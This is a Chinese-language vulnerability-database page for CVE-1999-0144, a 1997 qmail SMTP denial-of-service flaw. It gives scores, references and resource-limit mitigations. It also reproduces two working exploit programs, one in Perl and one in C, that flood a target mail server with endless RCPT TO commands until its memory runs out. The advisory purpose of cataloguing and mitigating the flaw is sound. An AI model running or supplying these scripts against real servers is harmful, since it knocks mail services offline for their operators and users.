CVE-1999-0144
CVSS2.1
发布时间 :1997-06-01 00:00:00
修订时间 :2016-10-17 21:59:03
NMCOES    

[原文]Denial of service in Qmail by specifying a large number of recipients with the RCPT command.


[CNNVD]QMail RCPT服务拒绝漏洞(CNNVD-199706-001)

        Qmail存在漏洞。通过指定大量带有RCPT命令的接受者导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0144
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0144
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199706-001
(官方数据源) CNNVD

- 其它链接及资源

http://cr.yp.to/qmail/venema.html
(UNKNOWN)  MISC  http://cr.yp.to/qmail/venema.html
http://marc.info/?l=bugtraq&m=87602558319024&w=2
(UNKNOWN)  BUGTRAQ  19970612 qmail-dos-2.c, another denial of service attack
http://marc.info/?l=bugtraq&m=87602558319029&w=2
(UNKNOWN)  BUGTRAQ  19970612 Re: Denial of service (qmail-smtpd)
http://www.ornl.gov/its/archives/mailing-lists/qmail/1997/06/threads.html
(UNKNOWN)  MISC  http://www.ornl.gov/its/archives/mailing-lists/qmail/1997/06/threads.html
http://www.securityfocus.com/bid/2237
(UNKNOWN)  BID  2237
http://xforce.iss.net/static/208.php
(VENDOR_ADVISORY)  XF  qmail-rcpt

- 漏洞信息

QMail RCPT服务拒绝漏洞
低危 其他
1997-06-01 00:00:00 2005-10-20 00:00:00
远程  
        Qmail存在漏洞。通过指定大量带有RCPT命令的接受者导致服务拒绝。

- 公告与补丁

        Setting user resource limits on the server process will prevent Qmail from allocating enough memory to cause a denial of service.
        The following command will set the maximum amount of memory processes can allocate in the heap to 1 MB.
        'ulimit -d 1024'.
        If placed in the init scripts, the limit will be put in place whenever the system intializes.
        This information was supplied by Dan Bernstein .

- 漏洞信息 (20561)

Dan Bernstein QMail 1.0 3 RCPT Denial of Service Vulnerability (1) (EDBID:20561)
linux remote
1997-06-12 Verified
0 Frank DENIS
N/A [点击下载]
source: http://www.securityfocus.com/bid/2237/info

qmail is an e-mail server package developed by Dan Bernstein.

The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.

This behaviour is due to the dynamically allocated memory being exhausted.

The condition occurs in situations where resource limits are not imposed on the server process.

Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.

Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.

It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.

#!/usr/local/bin/perl -w
# $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
require 5.002;
use strict;
use Socket;
if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
my $port = 25; my $proto = getprotobyname("tcp");
my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
my $paddr = sockaddr_in($port, $iaddr);
socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
send(SKT,"mail from: <me\@me>\n",0) || die "send() $!";
my $infstr = "rcpt to: <me\@" . $ARGV[0] . ">\n"; print("Attacking..","\n");
while(<SKT>){
send(SKT,$infstr,0) || die "send() $!";
}
die "Connection lost!";


		

- 漏洞信息 (20562)

Dan Bernstein QMail 1.0 3 RCPT Denial of Service Vulnerability (2) (EDBID:20562)
linux remote
1997-06-12 Verified
0 Wietse Venema
N/A [点击下载]
source: http://www.securityfocus.com/bid/2237/info
 
qmail is an e-mail server package developed by Dan Bernstein.
 
The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.
 
This behaviour is due to the dynamically allocated memory being exhausted.
 
The condition occurs in situations where resource limits are not imposed on the server process.
 
Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.
 
Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.
 
It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.

/*
  * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
  * amount of recipients.
  *
  * Usage: qmail-dos-2 fully-qualified-hostname
  *
  * Author: Wietse Venema. The author is not responsible for abuse of this
  * program. Use at your own risk.
  */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void    fatal(char *fmt,...)
{
    va_list ap;

    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    putc('\n', stderr);
    exit(1);
}

chat(FILE * fp, char *fmt,...)
{
    char    buf[BUFSIZ];
    va_list ap;

    fseek(fp, 0L, SEEK_SET);
    va_start(ap, fmt);
    vfprintf(fp, fmt, ap);
    va_end(ap);
    fputs("\r\n", fp);
    if (fflush(fp))
        fatal("connection lost");
    fseek(fp, 0L, SEEK_SET);
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    if (atoi(buf) / 100 != 2)
        fatal("%s", buf);
}

int     main(int argc, char **argv)
{
    struct sockaddr_in sin;
    struct hostent *hp;
    char    buf[BUFSIZ];
    int     sock;
    FILE   *fp;

    if (argc != 2)
        fatal("usage: %s host", argv[0]);
    if ((hp = gethostbyname(argv[1])) == 0)
        fatal("host %s not found", argv[1]);
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
    sin.sin_port = htons(25);
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        fatal("socket: %s", strerror(errno));
    if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
        fatal("connect to %s: %s", argv[1], strerror(errno));
    if ((fp = fdopen(sock, "r+")) == 0)
        fatal("fdopen: %s", strerror(errno));
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    chat(fp, "mail from:<me@me>", fp);
    for (;;)
        chat(fp, "rcpt to:<me@%s>", argv[1]);
}
		

- 漏洞信息

5850
qmail RCPT TO Command Remote Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability
Exploit Public

- 漏洞描述

qmail-smtpd contains a flaw that may allow a remote denial of service. The issue is triggered by sending an email with a large number of recipient addresses. Qmail will attempt to process such message, which will consume all memory on the server host, and will result in loss of availability for this computer.

- 时间线

1997-06-12 Unknow
1997-06-12 Unknow

- 解决方案

Upgrade to version 1.03 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround: limit amount of memory available to the qmail-smtpd process.

- 相关参考

- 漏洞作者

- 漏洞信息

QMail RCPT Denial of Service Vulnerability
Failure to Handle Exceptional Conditions 2237
Yes No
1997-06-11 12:00:00 2009-07-11 04:46:00
This behaviour was discovered by Wietse Venema. It was posted to Bugtraq on June 11, 1997 by Frank DENIS <j@eider.net>.

- 受影响的程序版本

Dan Bernstein QMail 1.0 3

- 漏洞讨论

qmail is an e-mail server package developed by Dan Bernstein.

The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.

This behaviour is due to the dynamically allocated memory being exhausted.

The condition occurs in situations where resource limits are not imposed on the server process.

Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.

Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.

It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.

- 漏洞利用

The following exploits are available.

- 解决方案

Setting user resource limits on the server process will prevent Qmail from allocating enough memory to cause a denial of service.

The following command will set the maximum amount of memory processes can allocate in the heap to 1 MB.

'ulimit -d 1024'.

If placed in the init scripts, the limit will be put in place whenever the system intializes.

This information was supplied by Dan Bernstein <djb@cr.yp.to>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站